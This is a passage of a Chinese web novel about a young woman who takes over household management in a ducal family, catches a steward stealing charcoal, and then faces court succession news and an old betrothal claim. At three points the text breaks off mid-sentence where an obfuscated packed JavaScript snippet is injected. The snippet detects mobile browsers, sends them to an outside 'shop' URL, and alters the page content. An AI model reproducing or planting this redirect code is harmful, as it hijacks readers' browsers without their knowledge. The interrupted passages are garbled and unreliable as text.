曹晚书他们这一行，便是要回去了。 临行那日，天才蒙蒙亮，众人收拾停当，刚走到大门口，只见天色陡然暗下来。 乌云压得极低，像是要贴到人头上。狂风卷着尘土和落叶，呼呼地响。突然间，一道闪电亮晃晃地撕开半边天，紧接着就是一个炸雷。 雨点子噼里啪啦砸下来，起初还只是豆大，疏疏落落，眨眼间便成了密密的雨帘。 这场雨，足足下了两个多时辰才渐渐小下来。 曹辐一直站在廊下看，衣裳下摆湿透了也不觉着。 他是做过父母官的，知道这一场雨的分量。脸上的欢喜，是怎么也止不住了。 他竟走进雨里，仰着头，任凭雨水打在脸上，顺着脖子流进衣裳里，嘴里喃喃道：“好雨，好雨啊。这一下，地都浇透了，明年的庄稼，准错不了。老百姓有盼头了。” 薛氏撑着油纸伞，急急跑过去，一把扯住他的袖子，又是心疼又是埋怨：“官人，快些进屋来，着了凉可怎么好？” 曹辐回过头，冲她一笑：“好，进屋。” 这场大雨之后，又淅淅沥沥下了一夜小雨。直到次日清晨，天才放晴。 曹辐曹轮带着家眷，送到大门外。 王夫人拉着孙夫人的手，笑道：“昨日叫大雨隔住了，又搅扰你们一日，实在过意不去。” 孙氏笑着拍拍她的手，道：“嫂子说这话可就外道了。咱们骨肉至亲，说这样生分的话。别说住一日，便是住一年，我心里也是欢喜的。” 几位夫人又说了几句家常，王夫人和宋夫人便各自扶着丫鬟的手上了马车。 晚书、玉书、兰书，也上了后面的车，丫头们放下车帘，车夫扬鞭，马车便辚辚地驶动了。 走出去好一段，宋夫人在车里皱着眉，对王夫人道：“真想不到，这一住就是好几个月。家里就剩母亲一个人，也不知忙不忙得过来。” 王夫人靠着引枕闭目养神，听了这话，眼皮也不抬，淡淡地道：“你操这些心做什么。母亲年轻时候管着几十口人的家，什么风浪没见过？” 她这话说得轻巧，倒像是管家是什么容易的事。 宋夫人听了，心里就不大受用，白了她一眼，道：“母亲到底是上了年纪的人，管家这差事，千头万绪的，最耗精神。我平日里管着，还时常觉得头昏脑涨，何况母亲？” 王夫人听她这话里带着刺，心里也有些不快，便不再言语，只把头扭向一边，望着窗外掠过的田野。 妯娌两个，心里都把对方埋怨了一通，一路无话。 走了半个多月，总算平安回到鲁国公府。这一路，宋夫人可遭了大罪。 去的时候好好的，谁知回来时晕船晕得厉害，吃什么都吐，浑身软得跟面条似的。 “哎哟，可算是到家了。”宋夫人歪在床上，脸色蜡黄，一只手不停地抚着胸口，气若游丝，“我这心里头，还跟在船上似的，一荡一荡的，难受得紧。” 邹妈妈端了一碗粥进来，在床沿坐下，拿勺子轻轻搅着，道：“夫人，好歹吃两口垫垫肚子，空着胃更难受。” 宋夫人看了一眼那粥，皱着眉推开，道：“快拿走吧，闻着这味儿我就想吐。” 邹妈妈叹口气，把碗递给旁边的小丫头，又凑近了些，低声道：“夫人，家里头攒了一堆事呢。昨儿我回来，就好几个管事的嬷嬷要来见您回话，我估摸着您路上乏了，都给挡了。还有一事，老太太前几日也欠安，如今刚好了些。家里这些事没人拿主意，总这么撂着，也不是个长法儿。” 一听“管家”二字，宋夫人的头更疼了。她闭上眼，半晌才道：“婆母这病，怕是累出来的。我这样子，郎中说得好生养几个月。可这家里，总得有个管事的，你说让谁来暂管些日子好呢？” 她心里盘算起来。大房那边，向来不管这些家务事，况且这管家权，也断断不能落到王夫人手里。这管家是个出力不讨好的差事，弄不好就里外不是人。 自己两个闺女，大丫头眼看要出门子了，哪有临出嫁还揽事的？四丫头那性子，毛手毛脚的，更不成。 想来想去，只剩下五丫头曹晚书一个。只是她年纪到底小了些，不知道能不能镇得住那帮子管事妈妈，理得清那团乱麻。 她睁眼看邹妈妈，道：“你先去禀告老爷和老太太一声。再去问问五丫头是个什么主意，她若不愿意，也别勉强，我再想别的法子。” 曹晚书正在柳姨娘屋里做针线。柳姨娘歪在榻上，手里也拿着一件旧衣裳在缝补，有一搭没一搭地跟她说闲话。 正说着，邹妈妈站在门口，探进半个身子，笑着朝曹晚书招招手。 曹晚书放下针线，有些疑惑，起身走了出来。 邹妈妈见了她，脸上堆起笑，带着几分求人的姿态，说道：“五姑娘安。是这么回事，夫人身上不好，老太太也刚病了一场，家里头没人主持。夫人思来想去，统共就剩姑娘是个明白人。想请姑娘暂且替夫人管几个月的家，不知姑娘意下如何？” 曹晚书听了，不觉皱起眉，有些为难，道：“倒不是我推脱，只是我年纪小，辈分也低，那些管事妈妈们，怕未必肯听我的调遣。” 邹妈妈忙道：“哎哟，五姑娘这话可就太谦了。府里上上下下，谁不说五姑娘是姑娘里头最聪明最稳重的？再说，姑娘如今也大了，何不趁这机会历练历练。将来过了门，到了婆家，管起家来也得心应手不是？” 任凭邹妈妈说了一车好话，曹晚书只是沉吟不语。 她心里明白，这管家的事，说是权柄，实则是千斤重担。家里这些人，个个心里都有算盘，一个弄不好，就要得罪人。 “邹妈妈，这事体大，我得再想想。”曹晚书道。 话音刚落，门帘一挑，柳静钗从里头小跑了出来，脸上笑得像一朵花似的，一把拉住邹妈妈的手，道：“晚丫头愿意的！她年轻面嫩，不好意思说。你只管回去叫夫人放心，她定能替夫人管得好好的！” 邹妈妈眼睛一亮，喜得眉开眼笑，从袖子里掏出一大串黄铜钥匙，不由分说塞进曹晚书手里，道：“好嘞！有姑娘这句话，我就放心了！这是库房和各处院子的钥匙，夫人叫我先交给姑娘。”说罢，也不等曹晚书再开口，转身喜滋滋地走了。 曹晚书握着那沉甸甸的一串钥匙，看着邹妈妈走远，这才回过身，望着柳静钗，语气里满是埋怨：“小娘，你怎么能替我应下来呢？” 柳静钗却不以为然，拉着她往里走，低声道：“你个傻丫头，这是好事。你瞧瞧这天，一日冷似一日了。往年冬天，咱们院里分例的炭，一个月统共才四百斤。邹妈妈每次发炭，明面上给够数，私底下总要克扣些，哪个月不得少个一二十斤？咱们舍不得烧，夜里就只能捂着厚被子睡。你如今管家了，旁的不说，每月多拨给咱们紫蝶苑二百斤上好的银霜炭，这总不难吧？” 曹晚书听了这话，脸上淡淡的，心里却存着气。她缓缓道：“各房分例，一个月四百斤，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223915|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就只能发四百斤。我管家，只求能照章办事，不叫下头人克扣缺斤短两，就尽到本分了。一个月六百斤炭，那是老太太和太太屋里才有的分例。若是因为我管家，就私下多给咱们紫蝶苑二百斤，这账面上的亏空从哪儿来？旁人问起来，我又该怎么交代？” 柳静钗听她这么一说，有些急了，道：“这家少给一点，那家少给一点，从别处匀一匀，不就有了？” 曹晚书听了这话，道：“邹妈妈克扣咱们，那是她不对。如今我管家，若是也学她那样，去克扣别房的东西来贴补自己，那我成什么人了？” 柳静钗一听，气得浑身发抖，指着曹晚书，声音都颤了：“你这个榆木脑袋！怎么就想不明白呢？邹妈妈克扣了咱们多少年，咱们不过是要回一点。” 曹晚书轻轻叹了口气，上前扶住柳静钗的胳膊，道：“小娘，我原本不想应这件事，是你替我应下的。” 柳静钗听了这话，泪水涌了上来。她一把甩开曹晚书的手，悲愤道：“我算是看明白了！你自小养在她跟前，心里眼里就只有夫人，哪里还有我这个亲娘？我辛辛苦苦生下你，倒成了外人！” 曹晚书见她哭了，心里也不好受，忙掏出手帕子，轻轻给她擦泪，扶着她坐下，柔声道：“我不是那个意思。你想想，我若是私下给了咱们紫蝶苑炭，惠草堂的李姨娘头一个就不依。她那张嘴，你又不是不知道，必定要闹得沸沸扬扬。” 她说着，又恭恭敬敬给柳静钗倒了一碗热茶，双手捧到跟前。 柳静钗听了这话，怔了半晌，接过茶，喝了一口，心里的气渐渐消了些。早知道是这个结果，她何苦巴巴地跑出来替她应下？这可真是偷鸡不成蚀把米。 次日一早，天才蒙蒙亮，苏越家的就在外头轻轻敲了三下门，叫曹晚书起床。 果子、梅子两个丫头，原本在旁边小床上睡得正香，听见动静，一骨碌爬起来，揉揉眼睛，轻手轻脚点了灯，便过来服侍曹晚书穿衣梳洗。 梅子拿了梳子，给曹晚书慢慢梳着一头青丝，嘴里忍不住小声嘀咕起来：“姑娘，要我说，这管家可真不是人干的活儿。鸡还没叫呢，就得爬起来支应。您瞧瞧那个苏管家，一天恨不得往咱们院里跑十趟八趟，芝麻绿豆大点儿的事，也巴巴地跑来请姑娘的示下，好像离了姑娘，他就不会办事了似的。” 果子道：“他自个儿顶着管家的名头，管着那么大的账房，那手指缝里漏一漏，就够咱们寻常人家吃用一年的。那账本子上，猫腻多着呢！” 果子左右看看，见梅子在门口收拾衣裳，才继续道：“我听说前些日子，他悄没声儿地在东大街那边，置办下一所三进三出的大宅子，还带个大花园，又买了十几个水灵灵的小丫头和小厮进去伺候。 他家如今，穿的是绫罗绸缎，戴的是金玉首饰，出门呼奴唤婢，那排场，啧啧，比咱们府里正经的主子也不差什么了。” 这边还没梳完头，门外又传来苏越的声音：“五姑娘起了吗？给五姑娘请安。外头送炭的老王头，已经把今冬的五千斤上好的银霜炭都送到，卸在库房外头了。这是账目，请姑娘过过目，核验核验。” 果子忙开了门，从苏越手里接过一本蓝皮的账册，转身递进来。 曹晚书接过来，翻开看了两眼，柳眉便微微蹙起，隔着一道门，问道：“这账上记着，今年这十五斤一篓的炭，价钱倒比去年又涨了五钱银子？” 门外静了一瞬，随即传来苏越陪笑的声音，不慌不忙地答道：“姑娘您是金枝玉叶，长在深闺，不晓得外头柴米油盐的行情。这木炭嘛，一年贵似一年，今年这个价，说起来，还算是便宜的呢！再往后，只怕还要涨。” 18. 纵刁奴 曹晚书眉毛一抬：“苏管家莫不是欺我年轻，我怎地倒听人说，今年京城里炭行生意清淡，这上好的银霜炭，十五斤的价钱，比去年还足足便宜了五十文呢。难不成是我耳朵出了岔子，听错了？” 门外一时寂然，半晌苏越才回道：“嘿…嘿嘿，五姑娘说笑了。您深闺娇养，哪里晓得外头贩夫走卒的勾当。莫不是哪个不长眼的奴才，在姑娘跟前嚼了舌根子，唬弄姑娘玩儿呢？” “果子。”曹晚书立刻扬声吩咐，“那送炭的王老丈想是还在库房门口点验数目，你腿脚快，这就去把他请到这儿来。咱们当面锣对面鼓地问个清楚明白，也好让苏管家听听，到底是我这深闺女子被人唬弄了，还是有人想唬弄我。” 果子应了句“是”，开门出去。见苏越一张老脸，此刻青一阵白一阵，煞是好看。果子心里暗笑，脚下生风地去了。 不过一盏茶的功夫，一个穿着粗布短袄，满面风霜的中年汉子便候在了门外廊下。 曹晚书此时已梳洗停当，换上了一件袄儿，缓步走出房门。 她拿着账本，对着卖炭翁，声音平和地问道：“王老丈，你今冬供给咱们府上的上等银霜炭，十五斤一篓，作价几何？照实说。” 卖炭翁老实巴交，搓着手，躬着身回道：“回姑娘的话，小老儿不敢欺瞒，今年炭行生意艰难，十五斤一篓，实收五百五十文。” “哦？”曹晚书瞥了一眼账本，“可我记着，往年都是六钱十五斤，今年怎地反倒便宜了五十文？” 卖炭翁叹口气道：“姑娘有所不知，今年入冬暖和，外头贩炭的客商又多如牛毛，挤在京城里抢生意。这炭价，不掉下来几十文，怕是连本钱都收不回来哟！能得贵府这样长久的大主顾照应，小老儿已是感激不尽了。” 曹晚书微微颔首：“原来如此。王老丈辛苦。果子，好生送老丈出去，别忘了结清炭钱。”果子应声引着那卖炭翁走了。 待他们走后，苏越倒也乖觉，连忙低着头跪下认错：“五姑娘饶了我吧，求五姑娘饶过我这一回吧。” 曹晚书沉着脸，怒视了他一番，又转身回到屋子里，道：“十五斤炭火明明是五百五十文，你却跟我要六百文。卖炭翁共送来五千斤木炭，这余下来的钱岂不都送进了你的腰包？这样的管家，我们鲁国公府可要不起。” 谁曾想，地上跪着的苏越，听了这番疾言厉色的呵斥，反倒像是卸下了千斤重担。 他慢悠悠地拍了拍膝盖上的灰尘，一骨碌站了起来，换上了一副混不吝的惫懒笑容，仿佛方才跪地求饶的不是他。 他咧着嘴，露出几颗黄牙，皮笑肉不笑地道：“五姑娘，您呐，到底是年轻气盛。有些事儿，睁一只眼闭一只眼，大家面子上都好看，何苦非要捅破这层窗户纸呢？ 您不过是替夫人暂管这几个月家务，风光几日罢了。何必为了这仨瓜俩枣的散碎银子，摆这主子的威风，把自己弄得跟个锱铢必较的夜叉似的？ 仔细传扬出去，落个刻薄寡恩的名声，将来议亲事，那些高门大户，谁家敢要您这样的媳妇儿进门当家？” 梅子在一旁气得脸都涨红了，指着苏越骂道：“老东西，好大的狗胆！主子面前也敢这般放肆，眼里还有没有王法家规了！” 曹晚书忽然笑了，摆了摆手，语气竟出奇地平和：“罢了。苏管家，你先下去吧。库房的炭，好生收着。” 梅子有些气不过，问道：“姑娘就这样放过他了？长此以往，咱们府上的银钱岂不都进了他的腰包里面？” 曹晚书不紧不慢地端起茶碗，轻轻吹了吹，抿了一口，才道：“急什么。你们也看见了，我年纪小，苏管家又在咱们府上干了三十多年，根深叶茂的，他不服我是情理之中的事。若我方才真的罚了他，打也打不得，撵也撵不得，反倒落个刻薄的名声，那才叫得不偿失。” 果子在一旁听着，忽然间一拍大腿，脑袋瓜子一亮，恍然大悟道：“我明白了！” 梅子吓了一跳：“你明白什么了？” 果子两眼放光，凑上前道：“姑娘方才对他好言好语，是为了让他放松警惕，认为姑娘年纪小、脸皮薄、好容易被人摆布。苏管家一向贪财，只要他认为姑娘不敢拿他怎么样，放任他行此事，那么下一次，他还会这样干。 所以姑娘您是在等一个好时机，到时候人赃并获，既不用自己背上尖酸刻薄的名声，还能惩治刁奴，是不是这样？” 曹晚书不免有些惊奇，忍不住笑了：“行啊果子，没想到你的脑袋瓜子还能转的这么快，真是让我有些吃惊。” 她嘴巴一撅，头一昂，两条胳膊交叉起来抱在胸前，得意洋洋道：“那当然，怎么说也是跟着姑娘快十年的人了，这点儿本事还是有的。” 梅子颇有兴味的看着面前这两个人，忍不住捂着嘴巴偷笑。 “你呀，正经事一个都没学到，倒是这些学的精。”曹晚书用食指点了一下她的脑门儿，玩笑道。 “还不都是姑娘教的好。” 正是数九寒天，滴水成冰的时节。曹府后院里，黑黢黢的木炭堆得小山也似。几个粗使小厮，裹着臃肿的棉袄，抄着铁锹吭哧吭哧地往麻袋里装填。 炭是好炭，敲着当当响，乌黑发亮。装满了便抬到秤杆子上，管事的扯着嗓子吆喝斤两，按着各房各院的份例，分堆儿码放齐整。 陶然轩的宋夫人惦记着炭火，派了跟前得脸的邹妈妈，领着几个壮实小厮，风风火火地来寻曹晚书讨要她那一份。 曹晚书见是邹妈妈亲至，忙不迭从暖阁里迎出来，脸上堆着笑：“邹妈妈，这天寒地冻的，怎敢劳动您老人家亲自跑一趟。我正紧着催人，收拾停当了就给您送过去呢。” 邹妈妈是个富态人儿，脸上笑呵呵地说：“五姑娘这话折煞老身了，夫人跟前离不得人，哪敢劳动姑娘的人，我们自取了便是。”说着，朝后头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227525|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一努嘴，那几个小厮便上前去搬那堆好的炭袋子。 曹晚书亲热地挽着邹妈妈胳膊往屋里让：“妈妈快屋里坐坐，吃杯热茶暖暖身子。母亲这几日身上可大安了？我这儿琐事缠身，也不得空过去请安，心里着实不安。” “坐不得，坐不得，”邹妈妈连连摆手，“老婆子一身寒气，别污了姑娘的屋子。夫人身子骨儿是好些了，只是为着大姐儿的嫁妆，操碎了心，熬红了眼，一时半刻还顾不到这边，少不得还得辛苦五姑娘多担待些日子。” “这有甚么的，大姐姐的终身大事最是要紧，我年轻，多跑跑腿儿也是应当的。” 曹晚书话音刚落，就见老太太院里的刘妈妈沉着一张老脸，脚下生风地闯了进来，那架势，活像谁欠了她八百吊钱。 “五姑娘！”刘妈妈说话声音里带着火气，“老太太房里的炭，年年月例六百斤，雷打不动！今年倒好，统共只给了五百斤。这大冷的天，老太太的腿疾犯了，疼得夜里睡不着，炭火再供不上，可怎么得了。姑娘莫不是算错了帐？” “五百斤？”曹晚书柳眉微蹙，“这如何可能？刘妈妈，您老瞧瞧，每一院的炭，只多不少，尤其祖母房里的，我长了几个胆子敢克扣。” 这边正说着，那边邹妈妈眼尖，已觉得自家那份炭袋子似乎也不甚饱满。 邹妈妈是个精细人，立刻喝住那几个正搬炭的小厮：“慢着！把袋子解开，放秤上再称一回。” 这一称不打紧，陶然轩的炭，也足足少了快一百斤。 邹妈妈的脸登时就拉了下来：“五姑娘，这话儿怎么说的？夫人信任你，把管家钥匙交你手上，你…你这克扣得也忒狠了些吧？老太太、夫人屋里的都敢短，这……”后半句咽下去了，意思明摆着：你这丫头心也太黑了。 曹晚书丝毫不慌，反倒抿嘴一笑，眼神中透着股精明：“妈妈们别急，都是误会。我就怕有那起子没王法的刁奴从中作耗，早就防着这一手呢。果子，”她唤过贴身丫头，“去，把今儿个我特意请来的那位衙门里的差爷请来。各房各院该得多少斤炭，他手里那簿子上，一笔笔记得清楚明白，人证物证俱在。如今果然少了这许多，定是有人手脚不干净。依我看，这事不能善了，干脆报官，请官老爷来断个明白。” 刘妈妈一听报官二字，吓得魂儿都飞了半截，忙不迭地拦住：“哎哟我的小祖宗，万万使不得。这点子家务事闹到公堂上，满城风雨，咱们国公府的脸面还要不要了？传到老爷耳朵里，更要命！” “别的事也就罢了，”曹晚书正色道，“可祖母腿疾难熬，最受不得寒气。那黑了心肝的贼，竟敢算计到老太太头上，这是我万万不能忍的。报官不成，也得让爹爹知道，这府里怕是有家贼呢。” 她转头吩咐果子：“去，悄悄的，把府里前后角门都给我闩死了，没我的话，一只苍蝇也不许放出去。今儿个，我非得把这偷炭的贼揪出来不可！” 19. 惩治刁奴 曹望刚从外面回来，屁股还没坐热乎，就听了这事，他是最注重名声的人，尤其是孝道。 “反了天了，哪个杀才敢如此欺主！告诉五丫头，叫她放手去查，查出来爷扒了他的皮。” 雷霆之怒，隔墙有耳。 苏越家的正在寻她小女儿香云，无意间听了这话，唬得心肝儿扑通扑通直跳，她猛地醒过神，提着裙子，一溜小跑就往外冲。 此时，苏越管家指挥着两个心腹小厮，把一袋袋沉甸甸的银霜炭，往几个半人高的大水桶里塞。水桶底下垫着厚厚的稻草，上面再盖些杂物遮掩，打算趁乱把这湿炭当脏水运出府去。 “当家的！当家的！不好了！”苏越家的气喘吁吁地扑到跟前，脸都白了。 “慌什么？天塌了不成？”苏越正得意，不耐烦地斥道。 “真塌了！老爷发了好大的火，让五姑娘放手查偷炭贼呢。我早说过，咱们不缺这点银子，偏你贪心，如今惹祸上身了。” 苏越嗤笑一声，浑不在意：“嘁，一个小丫头片子，乳臭未干，她能查出个屁来。就算查到我头上，老子三言两语就能把她唬住，她敢动我一根指头试试？” “真……真没事？”苏越家的被他说得将信将疑，那点惊慌也去了大半。 “能有什么事？”苏越一脸轻蔑，“咱们要不这么着，东西街那两进的好宅子，天上掉下来的？要不捞点油水，哪来的银子使唤十几个丫头婆子伺候你？怕什么。”他拍拍媳妇的手，“套车，走！” 苏越亲自把排车套在膘肥体壮的大青骡子上，吆喝着，大摇大摆就往府门赶。 眼看行到门前，隐隐约约总觉不太对劲。 “坏了。”苏越见外头气氛不对劲，心里咯噔一下，暗道不妙，掉头就想溜。 说时迟那时快，旁边假山后“噌噌噌”窜出几条彪形大汉，如狼似虎扑将上来。 苏越平日里养尊处优，压根不是对手，三下五除二就被按翻在地，捆得跟个粽子似的。 曹晚书从长廊里缓缓走出，走到大水桶边，伸手掀开桶盖，里面满满当当，塞的全是上好的银霜炭。 她居高临下地看着地上的苏越：“事到如今，你还有何话说？” 苏越家的见大势已去，连滚带爬扑到曹晚书脚边，抱着她的腿就嚎：“五姑娘，我们知错了，下次再不敢了，求姑娘开恩啊。” 嚎罢，她又扑到苏越身边，捶打撕扯：“你这作死的老东西！还不快给五姑娘磕头认错，求姑娘饶咱们小命。” 苏越被捆着，梗着脖子，拳头攥得死紧。非但不求饶，反而抬起一双怨毒的眼，死死盯着曹晚书，话里话外全是威胁：“五姑娘，你今日捆我，可曾想过后果？我苏越在鲁国公府，伺候过老国公爷，又跟着现任国公爷鞍前马后几十年，没有功劳也有苦劳。 就算我苏越有千般不是，你一个未出阁的小姐，当着阖府下人的面，如此折辱于我？传扬出去，你曹五姑娘的贤良淑德还要不要了？这辈子还想不想寻个好人家了？别到时候，只能配个乡野村夫、挑粪的夯汉，你可别后悔！” “刁奴欺主，贪墨主家，还敢狂言犯上？来人，给我掌这个不知死活奴才的嘴！” “啪！” 一声清脆响亮的耳光，狠狠抽在苏越那张老脸上，五个鲜红的指印瞬间坟起。 苏越被打懵了，随即羞怒攻心，像条疯狗般挣扎着就要破口大骂。刚一张嘴，猛一抬头，见曹望不知何时已站在面前。 苏越那点嚣张气焰，霎时间瘪了下去，哆嗦着喊了声：“老…，老爷。” “哼！”曹望从鼻子里重重哼了一声，背着手，踱到苏越跟前，“方才是哪个杀才说，要把我的女儿配给乡野村夫、挑粪的夯汉啊？嗯？” “老奴……老奴一时糊涂。”苏越吓得魂飞魄散。 曹望眼里寒光一闪：“我看你是精明过头了。念你自幼跟着我，几十年的情分，你背地里那些勾当，我睁一只眼闭一只眼。可你千不该万不该，竟敢把爪子伸到老太太头上。贪墨炭火，要冻死我老娘不成？” 他一挥手，对身边的长随喝道：“来人，即刻去寻了人牙子来，把这黑了心的老狗，连同他这贼婆娘，一并给我发卖了，卖得越远越好！再给我仔细查，查他这些年在府里贪墨了多少，把他名下那些宅子、铺面、存的银子，统统给我抄没了，一个子儿也不许剩！滚！” 苏越夫妇听了这判决，瞬间瘫软在地，不停地嚎哭讨饶，很快便被堵了嘴拖了下去。 话说金书嫁与顾平生后，打扮得花朵儿一般，携着新女婿顾官人，一道回门来拜望爹娘。 这顾平生生得也是好一个俊俏风流人物，浑似块无瑕美玉，温温润润。他二人手挽着手儿，进得堂来，规规矩矩给曹望并宋夫人磕了头。 一家子围坐吃茶，叙些闲话。忽听得外头脚步声响，帘子一掀，钻进个人来，正是二哥儿曹辕。 他跑得气喘如牛，脸色煞白，一迭声嚷道：“爹，娘，不好了，天大的事！听说官家今朝在殿上，突然犯了头风，立时就下旨，把储君的位子给了瑞王殿下。” 宋夫人直愣愣站起来，嗓子眼发紧：“你…你说什么？储君不是襄阳王？” “千真万确！是瑞王！”曹辕抹了把汗，急道。 曹望赶忙去换上官服，骑上马速速赶往大内。 次日，宫里便传出官家殡天的消息。瑞王殿下登基为帝，襄阳王则前往封地，无召不得离开。 宋夫人突然想起两年前，五丫头晚书那场怪梦，说襄阳王日后要惹塌天大祸，敢情这梦竟要应验了不成？ 她越想越怕，肠子都悔青了，万幸！ 万幸当初没把金书那丫头许给襄阳王。若不然……她不敢再想。 旁边邹妈妈也拍着大腿，咂嘴道：“我的天爷，可不是亏了五姐儿那梦？若真叫大姑娘嫁了过去，日后襄阳王作起反来，咱们这鲁国公府，上上下下几百口子，还不都得跟着砍了脑袋？想想都吓煞人也。” 宋夫人此刻真如捡了条命回来，一迭声唤丫鬟：“快，快把我那件素紫色褙子拿来，赶紧的，去祠堂！”她慌手忙脚，也顾不得收拾，直奔祖宗祠堂而去。 进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236851|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门，扑通跪在蒲团上，对着那黑压压一片祖宗牌位，连磕了三个响头，嘴里絮絮叨叨念个不住：“阿弥陀佛，祖宗菩萨显灵，列祖列宗保佑。亏得您老几位在天有灵，没叫咱曹家一脚踏进那火坑里，保佑咱家子孙平平安安，无灾无难……” 上罢了香，惊魂稍定，宋夫人眼珠儿一转，心思又活络起来，扯着邹妈妈的袖子，问：“你说这新官家登了基，那正宫娘娘的位子花落谁家？咱们玉姐儿还有指望没？” 邹妈妈心里暗叹这夫人真是心比天高，嘴里只得劝道：“夫人哟，您醒醒神儿罢，四姑娘自个儿就不愿进那见不得人的去处。再者说，当年老国公爷落难，可是李家豁出性命救下的。为报这大恩，老国公亲口许下，将咱们四姑娘许给他家哥儿李植，指腹为婚的娃娃亲，这如何赖得？” 宋氏撇撇嘴，一脸得不以为然：“都是些陈芝麻烂谷子的事儿了，李家这十几年连个鬼影子都不见上门，怕是早把这茬儿忘了，谁还当真？” 转眼入了寒冬，朔风凛冽。 这日，宋夫人歪在暖炕上，抱着手炉发闷，外头小厮一路飞跑进来报喜：“夫人，大喜！三爷回来了！三爷回来啦！” 宋夫人一骨碌爬起来，鞋也顾不上穿好，趿拉着就往外奔，迭声问：“我儿在哪？” “在老太太屋里头请安呢。”邹妈妈喜得眉开眼笑。 宋夫人三步并作两步赶到老太太上房。 一掀帘子，只见曹舆一身明晃晃的盔甲，挺胸凸肚立在那里，果然与从前那个只会斗鸡走马，眠花宿柳的纨绔子弟大不相同，带有几分威风煞气。 宋夫人扑上去，拉着儿子的手，上上下下，前前后后，眼珠子恨不得黏在他身上，看可有伤损。 她摸着冰凉的铁甲，眼泪就下来了：“我的儿，你可算囫囵个儿回来了。” 待抬眼细看，见儿子左边脸颊上，赫然刺着两行青黢黢的小字，显是军中印记。 宋夫人心如刀绞，抚上去问：“儿啊，疼不疼？” 曹舆咧嘴一笑，浑不在意：“娘，这点皮肉之苦算个甚！男子汉大丈夫，在刀枪林里滚的人，若这点疼都受不住，还提什么上阵杀敌，收复燕云十六州？” 老太太在炕上捻着佛珠，老怀大慰，连声道：“好，好！好孙儿！这才像你祖父的种，有出息了。” 正说着，曹晚书进来了，她笑吟吟的，手里捧着一卷书，径直走到曹舆面前，双手奉上：“三哥哥，常言道‘为将不知古今，匹夫之勇耳’。妹妹寻了本《左氏春秋》，送与哥哥。盼哥哥熟读史鉴，胸有丘壑，精忠报国，早日将沦陷的疆土夺回来。” 曹舆郑重接过，点头道：“谢五妹妹费心。” 这时老太太身边的心腹刘妈妈脚步匆匆进来，附在老太太耳边，低低说了几句。 老太太脸色微变，忙吩咐道：“快请玉姐儿过来。” 宋夫人正拉着儿子抹泪呢，见状不解：“母亲，这是怎的了？又出甚事？” 老太太沉声道：“李家来人了。” “哪个李家？”宋夫人一时没回过味。 20. 偶遇表哥 老太太没好气地瞪她一眼：“还能是哪个李家？当然是曾经豁出命救下你公爹的李家。十几年没音信，这冷不丁上门，还能为甚？自然是来讨你当年不认账的那门亲事了。” 宋夫人脑子“嗡”的一声，如同挨了一闷棍，脱口道：“啊？这…这如何使得？十几年不来往，穷乡僻壤的破落户，冷不丁跑来谈亲，我…我还不乐意呢！” 老太太气得直拍桌子：“糊涂。当年是你公爹亲口许下的诺，救命之恩大于天。你想赖账，曹家的脸面还要不要了？我知道你打的什么主意，趁早歇了。新官家已经立了郭氏为后，六宫有主了！” 这时，屏风后转出曹玉书。她显然已听了多时，脸上淡淡的，不见悲喜，对着母亲和祖母福了一福，声音清朗：“祖母，母亲。既是祖父为报大恩定下的婚约，李家如今寻来，理当践诺。若李家真是为议亲而来，孙女…愿嫁。” 宋氏一听，急得直跺脚，拉着女儿的手：“我的儿，你可知李植是个什么货色？听说整日价只知求仙访道，鼓捣些丹炉药鼎，怕不是个疯疯癫癫的。品性如何，谁人知晓？这不是把你往火坑里推么。” 曹玉书轻轻抽回手，嘴角噙着一丝若有若无的笑：“母亲休要再言。祖父一诺千金，曹家岂能失信于人？女儿心意已决。” 这会儿小厮又跑进来禀报：“老太太，夫人，李家夫人的轿子到门口了。” 老太太忙叫刘妈妈扶着起身，披上厚实的貂鼠皮袄，亲自迎了出去。 这个李家夫人也是个会来事的，下了轿子，满脸堆笑，三步并作两步上前搀住老太太：“哎哟哟，老寿星，您老这精神头儿，可一点不比十年前差，瞧着还更硬朗了。” 老太太也笑道：“老喽，头发都白了，骨头也朽了，一阵风就能吹倒，哪比得当年。” 李夫人眸子滴溜溜在屋里几个姑娘身上打转，尤其在曹玉书和曹晚书脸上停留许久，才转向宋夫人，啧啧称赞：“哎呦，夫人好福气，瞧瞧这两位姐儿，真真是画儿上走下来的人儿，被夫人调理得这般齐整，教人看着就爱。” 她故作打量，笑问：“不知哪位是四姐儿？” 玉书大大方方上前一步，福身行礼：“伯母安好，侄女玉书。” 